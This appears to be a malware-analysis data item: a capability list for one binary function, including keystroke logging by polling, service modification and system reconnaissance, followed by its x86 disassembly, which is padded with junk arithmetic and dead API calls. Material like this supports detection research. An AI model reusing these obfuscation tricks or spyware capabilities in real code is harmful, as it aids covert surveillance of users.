Function at 0x10031a24
Capabilities:
Check os version
Create directory
Delete directory
Get common file path
Get disk information
Get session user name
Get system information on windows
Log keystrokes via polling
Modify service
Parse pe header
Query or enumerate registry key
Resume thread
Start service
Suspend thread

Disassembly:
mov eax, 0x100843a7
call fcn.10082c18
mov eax, 0x156c
call fcn.1007e340
mov dword [ebp - 0x30], 0x110c93b4
xor eax, eax
mov dword [ebp - 0x20], 0xfffffffd
mov dword [ebp - 0x34], 7
mov dword [ebp - 0x28], 9
mov dword [ebp - 0x48], 0x8fb0b44c
mov dword [ebp - 0x2c], 0xfffffff7
mov dword [ebp - 0x40], 0xed40a165
push ebx
mov dword [ebp - 0x48], 0xda862840
push esi
mov dword [ebp - 0x48], 0x6bde64f
push edi
or edi, 0xffffffff
mov byte [ebp - 0x65], dl
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x48], 0xcce005ab
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
mov dword [ebp - 0x5c], ecx
jge 0x10031ab4
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x141c], 0x7a81a82e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10031a9b
xor eax, eax
mov ebx, dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
mov dword [ebp - 0x30], eax
jmp 0x10031ad5
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10031ad2
push 0x222
push eax
call ebx
xor eax, eax
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xfffffffb
je 0x10031abf
push 1
pop edx
push 0xfffffffffffffff6
pop esi
cmp dword [ebp - 0x30], eax
jne 0x10031b45
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], edx
xor eax, eax
cmp dword [ebp - 0x48], eax
jne 0x10031afb
cmp dword [ebp - 0x20], eax
je 0x10031afd
mov eax, edx
mov dword [ebp - 0x48], eax
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x10031b0e
cmp dword [ebp - 0x50], eax
je 0x10031b0e
mov eax, edx
inc dword [ebp - 0x38]
mov ecx, dword [ebp - 0x38]
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, esi
setge al
cmp eax, dword [ebp - 0x50]
jge 0x10031b2d
xor eax, eax
mov ecx, eax
jmp 0x10031b2f
mov ecx, edx
mov eax, dword [ebp - 0x30]
add eax, ecx
mov dword [ebp - 0x28], eax
jne 0x10031b45
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x1418], eax
je 0x10031b47
mov ecx, edx
mov eax, dword [ebp - 0x40]
xor edx, edx
imul eax, ecx
push 2
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov ecx, 0xb948214d
setge dl
sub edx, dword [ebp - 0x2c]
cmp edx, 0xa684a08d
sbb eax, eax
inc eax
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x48], esi
xor esi, esi
mov dword [ebp - 0xd20], ecx
inc esi
mov dword [ebp - 0xd1c], ecx
mov dword [ebp - 0xd18], ecx
mov dword [ebp - 0xd14], ecx
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x48], 0x69a4575f
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x28], 0x88a3
mov dword [ebp - 0x50], 0xa6c9
mov dword [ebp - 0x10], eax
pop ecx
jmp 0x10031bd1
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x72c], 7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10031bc0
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setle dl
sub edx, 0x8af16de6
neg edx
sbb edx, edx
inc edx
cmp edx, 0x3ae5
je 0x10031c02
mov eax, dword [ebp - 0x24]
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0xd1c], eax
mov eax, dword [ebp - 0x2c]
test eax, eax
mov eax, 0xfffe
sets cl
cmp ecx, 0xb5009892
sbb edx, edx
xor ecx, ecx
inc edx
add edx, eax
mov eax, dword [ebp - 0x24]
cmp edx, eax
setne cl
mov dword [ebp - 0x48], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
xor eax, eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
cmp eax, edi
mov dword [ebp - 0x72c], eax
sete cl
xor eax, eax
mov dword [ebp - 0x48], ecx
cmp dword [ebp - 0x48], eax
je 0x10031ce5
mov dword [ebp - 0x38], 0xdf607dbc
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x48], 0xf643d9d7
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x72c]
imul eax, dword [ebp - 0x24]
test eax, eax
jne 0x10031cd1
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x72c]
add edx, 0xffff664c
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setle cl
cmp ecx, dword [ebp - 0x28]
jne 0x10031cd1
xor eax, eax
mov edx, eax
jmp 0x10031cd3
mov edx, esi
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x50], ecx
dec dword [ebp - 0x48]
jmp 0x10031d43
push 2
mov dword [ebp - 0x34], edi
lea ecx, [ebp - 0xa70]
pop edi
push edi
call fcn.1001831b
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x10031d1f
push dword [ebp - 0x10]
lea ecx, [ebp - 0xa70]
call fcn.10018388
or dword [eax], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x10031d04
xor eax, eax
inc dword [ebp - 0x50]
lea ecx, [ebp - 0xa70]
push eax
call fcn.10018388
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa70]
mov dword [eax], 7
call fcn.10018383
push esi
lea ecx, [ebp - 0x83c]
call fcn.1001831b
xor ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ecx
jge 0x10031d80
push dword [ebp - 0x24]
lea ecx, [ebp - 0x83c]
call fcn.10018388
mov dword [eax], 0x5b57fd54
xor eax, eax
inc dword [ebp - 0x24]
inc eax
cmp dword [ebp - 0x24], eax
jl 0x10031d5f
xor eax, eax
push 2
mov dword [ebp - 0x24], eax
pop ecx
cmp dword [ebp - 0x24], ecx
jge 0x10031da3
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x288], 0x4c506d44
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x10031d8b
xor eax, eax
mov edi, dword [sym.imp.USER32.dll_GetScrollInfo]
push 3
mov dword [ebp - 0x284], eax
pop esi
jmp 0x10031ea9
push 4
lea ecx, [ebp - 0x330]
call fcn.1001831b
push 2
pop eax
mov byte [ebp - 4], al
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x10031df4
push 8
pop esi
push dword [ebp - 0x10]
lea ecx, [ebp - 0x330]
call fcn.10018388
mov dword [eax], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10031dd8
push 3
pop esi
push esi
lea ecx, [ebp - 0x330]
call fcn.10018388
push 3
pop ecx
push ecx
xor esi, esi
lea ecx, [ebp - 0x330]
mov dword [eax], esi
call fcn.10018388
push 3
cmp dword [eax], esi
pop esi
jl 0x10031e90
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x10031e33
push eax
push 0x11ca
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
push esi
lea ecx, [ebp - 0x330]
call fcn.10018388
lea ecx, [ebp - 0x83c]
push dword [eax]
call fcn.10018388
push 3
pop ecx
push ecx
lea ecx, [ebp - 0x330]
mov esi, eax
call fcn.10018388
lea ecx, [ebp - 0x83c]
push dword [eax]
call fcn.10018388
mov ecx, dword [esi]
push 3
pop esi
mov dword [eax], ecx
lea ecx, [ebp - 0x330]
push esi
call fcn.10018388
push esi
lea ecx, [ebp - 0x330]
dec dword [eax]
call fcn.10018388
cmp dword [eax], 0
jge 0x10031e1a
xor eax, eax
lea ecx, [ebp - 0x330]
inc eax
mov byte [ebp - 4], al
call fcn.10018383
inc dword [ebp - 0x284]
xor eax, eax
cmp dword [ebp - 0x284], eax
jle 0x10031db7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x83c]
call fcn.10018383
mov dword [ebp - 0x30], 0x110c93b4
xor eax, eax
mov dword [ebp - 0x20], 0xfffffffd
mov dword [ebp - 0x34], 7
mov dword [ebp - 0x28], 9
mov dword [ebp - 0x48], 0x8fb0b44c
mov dword [ebp - 0x2c], 0xfffffff7
mov dword [ebp - 0x40], 0xed40a165
mov dword [ebp - 0x48], 0xda862840
mov dword [ebp - 0x48], 0x6bde64f
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x48], 0xcce005ab
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x10031f38
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1434], 0x7a81a82e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10031f1f
xor eax, eax
mov dword [ebp - 0x30], eax
jmp 0x10031f53
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10031f50
push 0x222
push eax
call ebx
xor eax, eax
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xfffffffb
je 0x10031f3d
xor ebx, ebx
inc ebx
cmp dword [ebp - 0x30], eax
jne 0x10031fc1
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], ebx
xor eax, eax
cmp dword [ebp - 0x48], eax
jne 0x10031f76
cmp dword [ebp - 0x20], eax
je 0x10031f78
mov eax, ebx
mov dword [ebp - 0x48], eax
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x10031f89
cmp dword [ebp - 0x50], eax
je 0x10031f89
mov eax, ebx
inc dword [ebp - 0x38]
mov ecx, dword [ebp - 0x38]
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0xfffffff6
setge al
cmp eax, dword [ebp - 0x50]
jge 0x10031fa9
xor eax, eax
mov ecx, eax
jmp 0x10031fab
mov ecx, ebx
mov eax, dword [ebp - 0x30]
add eax, ecx
mov dword [ebp - 0x28], eax
jne 0x10031fc1
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x1430], eax
je 0x10031fc3
mov ecx, ebx
mov eax, dword [ebp - 0x40]
xor edx, edx
imul eax, ecx
push 2
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
lea ecx, [ebp - 0x240]
setge dl
sub edx, dword [ebp - 0x2c]
cmp edx, 0xa684a08d
sbb eax, eax
inc eax
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x38], eax
pop eax
push eax
call fcn.1001831b
mov dword [ebp - 4], esi
xor eax, eax
mov dword [ebp - 0x48], 0x33563700
mov dword [ebp - 0x10], 4
mov dword [ebp - 0x28], 0xffffffff
push 2
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x10032045
push dword [ebp - 0x18]
lea ecx, [ebp - 0x240]
call fcn.10018388
push 2
pop ecx
mov dword [eax], 0x25d16df2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10032024
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x10032065
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x9dc], 0x3717be9f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1003204d
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1003207b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1250], 0xfffffffc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1003206a
push ebx
lea ecx, [ebp - 0x240]
call fcn.10018388
mov ecx, dword [ebp - 0x38]
mov dword [eax], ecx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x38]
jne 0x100320b0
push ebx
lea ecx, [ebp - 0x240]
call fcn.10018388
cmp dword [eax], 0
je 0x100320b3
mov eax, dword [ebp - 0x10]
push ebx
lea ecx, [ebp - 0x240]
call fcn.10018388
push ebx
lea ecx, [ebp - 0x240]
mov eax, dword [eax]
mov dword [ebp - 0x9d8], eax
call fcn.10018388
mov esi, dword [ebp - 0x9d8]
lea ecx, [ebp - 0x240]
push ebx
sub esi, dword [eax]
mov dword [ebp - 0x1250], esi
call fcn.10018388
mov ecx, dword [ebp - 0x10]
xor ebx, ebx
cmp dword [eax], ecx
lea ecx, [ebp - 0x240]
setge bl
xor eax, eax
inc eax
push eax
call fcn.10018388
xor ecx, ecx
cmp ebx, dword [eax]
setge cl
xor eax, eax
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0x240]
push eax
call fcn.10018388
mov ecx, dword [ebp - 0x10]
mov edx, 0xaa810d21
add ecx, esi
add ecx, dword [ebp - 0x28]
cmp edx, ecx
sbb ecx, ecx
neg ecx
sub ecx, dword [eax]
neg ecx
sbb ecx, ecx
or esi, 0xffffffff
add ecx, 0xffff68c1
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0x240]
mov dword [ebp - 4], esi
call fcn.10018383
xor eax, eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x38], 0xe4d9
mov dword [ebp - 0x34], 0xfffffffc
mov dword [ebp - 0x2c], 0xa8d3a18e
mov dword [ebp - 0x28], esi
push 6
pop eax
mov dword [ebp - 0x748], eax
mov dword [ebp - 0x744], eax
mov dword [ebp - 0x740], eax
mov dword [ebp - 0x73c], eax
mov eax, 0xfffe
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x48], 0xfffffffd
mov dword [ebp - 0x20], 0x5ad058bb
mov dword [ebp - 0x40], 0x2633
dec dword [ebp - 0x10]
jne 0x100321fb
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x73c]
neg eax
je 0x100321d9
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x48]
jg 0x100321d9
xor ebx, ebx
inc ebx
mov eax, ebx
jmp 0x100321de
xor ebx, ebx
xor eax, eax
inc ebx
neg eax
cmp eax, dword [ebp - 0x20]
jl 0x100321eb
mov eax, dword [ebp - 0x73c]
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x38]
jl 0x100321fe
xor eax, eax
jmp 0x10032200
xor ebx, ebx
inc ebx
mov eax, ebx
mov edx, dword [ebp - 0x20]
add edx, eax
mov eax, dword [ebp - 0x50]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, edx
setle cl
xor eax, eax
imul ecx, dword [ebp - 0x50]
cmp ecx, 0xfffffffc
setl al
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x73c]
je 0x1003224b
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1003225c
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowPlacement]
jmp 0x1003225c
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1003225c
push eax
call dword [sym.imp.USER32.dll_SetCursor]
mov dword [ebp - 0x30], 0x110c93b4
lea ecx, [ebp - 0xd9c]
mov dword [ebp - 0x54], 0xfffffffd
mov dword [ebp - 0x48], 0x5c6e
mov dword [ebp - 0x2c], 0xfffffffe
mov dword [ebp - 0x20], 0xfffffffc
mov dword [ebp - 0x38], 0xd64ea33a
mov dword [ebp - 0x50], 0x1914cc5c
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x34], 0xa68f
mov dword [ebp - 0x34], esi
push 4
call fcn.1001831b
push 4
xor eax, eax
pop ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x100322da
push dword [ebp - 0x10]
lea ecx, [ebp - 0xd9c]
call fcn.10018388
mov dword [eax], 0x50e8f7cf
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x100322bd
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x20]
jne 0x100322ed
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x100322ef
mov eax, ebx
mov dword [ebp - 0x38], eax
mov edx, ebx
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x100322fd
mov edx, eax
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, 0x6d40
setle al
sub eax, dword [ebp - 0x20]
jne 0x1003231e
mov edx, eax
cmp dword [ebp - 0x20], eax
je 0x10032320
mov edx, ebx
xor ecx, ecx
mov dword [ebp - 0x48], 0xa835a23e
mov eax, dword [ebp - 0x20]
cmp edx, eax
push 6
setge cl
xor edx, edx
pop eax
cmp ecx, eax
mov eax, dword [ebp - 0x48]
setl dl
xor ecx, ecx
cmp eax, 0x3de0369b
setl cl
sub ecx, edx
sub ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 0x50]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, 0xf1540ee1
ja 0x10032364
xor eax, eax
cmp dword [ebp - 0x50], eax
je 0x10032366
mov eax, ebx
mov dword [ebp - 0x2c], eax
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
sub edx, 0x743c
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0xd9c]
inc dword [ebp - 0x40]
mov dword [ebp - 4], esi
call fcn.10018383
mov dword [ebp - 0x34], 7
mov dword [ebp - 0x1c], 0xe1757117
push 0xfffffffffffffffa
pop eax
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x48], 0xfffffffc
mov dword [ebp - 0x48], 0x66b7a7bc
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], 0xff2d4e20
push 2
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x100323e6
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1384], 0x66bd5d51
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x100323ce
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x18
jle 0x1003252d
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], 0xfffffffc
mov dword [ebp - 0x10], eax
jmp 0x10032413
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1394], 0xbb9a67b9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10032402
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x30]
add edx, dword [ebp - 0x24]
add edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setl cl
sub eax, ecx
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
xor eax, eax
cmp dword [ebp - 0x24], eax
jle 0x10032460
mov ecx, eax
cmp dword [ebp - 0x1c], eax
je 0x10032462
mov ecx, ebx
mov eax, dword [ebp - 0x1c]
xor edx, edx
add eax, ecx
imul ecx, eax, 0x5616
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setl dl
cmp edx, dword [ebp - 0x30]
jle 0x10032485
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x30], eax
je 0x10032487
mov ecx, ebx
mov eax, dword [ebp - 0x30]
imul eax, ecx
xor ecx, ecx
push 2
cmp eax, 0x4286
mov eax, dword [ebp - 0x24]
setge cl
xor ebx, ebx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setge bl
xor edx, edx
neg ebx
cmp eax, ebx
mov eax, dword [ebp - 0x30]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
mov dword [ebp - 0x28], ecx
xor ebx, ebx
mov dword [ebp - 0x24], eax
inc ebx
pop ecx
cmp dword [ebp - 0x24], ebx
jg 0x1003251d
mov dword [ebp - 0x34], 0xa22f0f5b
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], 0x85ca7db
mov dword [ebp - 0x34], 0x9278a491
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x34], 0xca380790
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x10032515
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x13a4], 0xbc9ee521
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x100324fd
xor eax, eax
dec dword [ebp - 0x48]
inc dword [ebp - 0x24]
jmp 0x100324c5
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x18
push 0
pop eax
jg 0x100323f3
mov dword [ebp - 0x28], 9
mov dword [ebp - 0x20], 0xb13e
mov dword [ebp - 0x34], 8
push 3
mov dword [ebp - 0x10], eax
pop esi
cmp dword [ebp - 0x10], esi
jge 0x10032565
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1518], 0xb50bf34f
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1003254d
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x100325b1
mov dword [ebp - 0x20], eax
jmp 0x100325aa
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10032588
push 0x26ae
call dword [sym.imp.USER32.dll_PostQuitMessage]
push 2
xor eax, eax
pop ecx
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x100325a7
push 0xe86
push 0x26fb
push eax
call dword [sym.imp.USER32.dll_EnableMenuItem]
push 2
xor eax, eax
pop ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jle 0x1003256f
jmp 0x100325bb
mov dword [ebp - 0x48], 0x836b16b
dec dword [ebp - 0x48]
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x100325cd
push eax
call dword [sym.imp.GDI32.dll_CreatePalette]
xor eax, eax
mov dword [ebp - 0x48], 0x8fb0b44c
mov dword [ebp - 0x1c], 0xfffffff7
mov dword [ebp - 0x20], ebx
push 2
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x10032601
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xd5c], 0xf9b3
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x100325e9
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jg 0x10032620
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0xd5c], 0
jne 0x1003261e
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x10032609
xor eax, eax
mov dword [ebp - 0x40], 0xed40a165
mov dword [ebp - 0x34], ebx
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1003263c
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1003264f
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
xor eax, eax
mov dword [ebp - 0x48], 0xda862840
mov ecx, 0xb948214d
mov dword [ebp - 0x48], 0x6bde64f
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x48], 0xfffffff6
mov dword [ebp - 0xd00], ecx
mov dword [ebp - 0xcfc], ecx
mov dword [ebp - 0xcf8], ecx
mov dword [ebp - 0xcf4], ecx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x48], 0x69a4575f
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x28], 0x88a3
push 2
mov dword [ebp - 0x50], 0xa6c9
mov dword [ebp - 0x10], eax
pop ecx
jmp 0x100326c2
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x640], 7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x100326b1
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setle dl
sub edx, 0x8af16de6
neg edx
sbb edx, edx
inc edx
cmp edx, 0x3ae5
je 0x100326f3
mov eax, dword [ebp - 0x24]
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0xcfc], eax
mov eax, dword [ebp - 0x2c]
test eax, eax
mov eax, 0xfffe
sets cl
cmp ecx, 0xb5009892
sbb edx, edx
xor ecx, ecx
inc edx
add edx, eax
mov eax, dword [ebp - 0x24]
cmp edx, eax
setne cl
mov dword [ebp - 0x48], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
xor eax, eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
cmp eax, 0xffffffff
mov dword [ebp - 0x640], eax
sete cl
xor eax, eax
mov dword [ebp - 0x48], ecx
cmp dword [ebp - 0x48], eax
je 0x100327db
mov dword [ebp - 0x38], 0xdf607dbc
mov dword [ebp - 0x50], 0xffffffff
mov dword [ebp - 0x48], 0xf643d9d7
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x640]
test eax, eax
jne 0x100327c7
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x640]
add edx, 0xffff664c
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setle cl
cmp ecx, dword [ebp - 0x28]
jne 0x100327c7
xor eax, eax
mov edx, eax
jmp 0x100327c9
mov edx, ebx
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x50], ecx
dec dword [ebp - 0x48]
jmp 0x10032849
push 2
pop eax
mov dword [ebp - 0x34], 0xffffffff
lea ecx, [ebp - 0xb9c]
push eax
call fcn.1001831b
push 5
pop eax
mov dword [ebp - 4], eax
xor eax, eax
push 2
mov dword [ebp - 0x10], eax
pop esi
cmp dword [ebp - 0x10], esi
jge 0x10032822
push dword [ebp - 0x10]
lea ecx, [ebp - 0xb9c]
call fcn.10018388
push 2
or dword [eax], 0xffffffff
inc dword [ebp - 0x10]
pop eax
cmp dword [ebp - 0x10], eax
jl 0x10032804
xor eax, eax
inc dword [ebp - 0x50]
lea ecx, [ebp - 0xb9c]
push eax
call fcn.10018388
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb9c]
mov dword [eax], 7
call fcn.10018383
push 3
pop esi
mov dword [ebp - 0x38], 0xffffffff
lea ecx, [ebp - 0x854]
push ebx
